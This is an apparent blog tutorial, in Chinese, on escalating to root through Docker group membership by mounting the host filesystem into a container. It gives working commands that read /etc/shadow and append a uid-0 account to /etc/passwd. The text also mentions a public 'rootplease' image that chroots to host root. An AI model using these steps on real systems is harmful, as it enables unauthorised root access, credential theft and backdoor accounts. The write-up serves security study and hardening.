Docker 用户组提权
本文作者:一生热爱
# 一、简介
Docker 运行的所有命令都是需要 sudo 来运行,那是因为 docker 需要 root 权限才能跑。
Docker 监护进程有一个特性,它能被允许访问 root 用户或者是在 docker 组里面的所有用户,这就如同拥有 root 的访问权限。
# 二、复现
如果一个服务器有一个普通的用户,并且这个用户加入了 docker 组,则这个用户已经是 root 了。
# 1、方法一
# 环境搭建
adduser test-d
usermod -G docker test-d
newgrp docker
1
2
3
2
3
Docker 组内用户执行命令的时候会自动在所有命令前添加 sudo
因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)
# 复现
默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。
Docker 守护进程会允许 root 用户和 docker组用户访问 Docker,给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
1
参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS
这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。
# 2、方法二
# 环境搭建
adduser test-d
usermod -G docker test-d
newgrp docker
1
2
3
2
3
# 复现
将 /etc/ 目录挂载进 Docker,查看 shadow 和 passwd
docker run -v /etc/:/mnt -it alpine
cd /mnt
cat shadow
1
2
3
2
3
这里已经获取到密码 hash,有两个办法进行权限提升,一是进行 hash 破解,二是添加一个特权账号,这里选择第二个方法。
openssl passwd -1 -salt test-docker
1
docker run -v /etc/:/mnt -it alpine
cd /mnt
echo 'test-docker:saltpasswd:0:0::/root:/bin/bash' >>passwd
1
2
3
2
3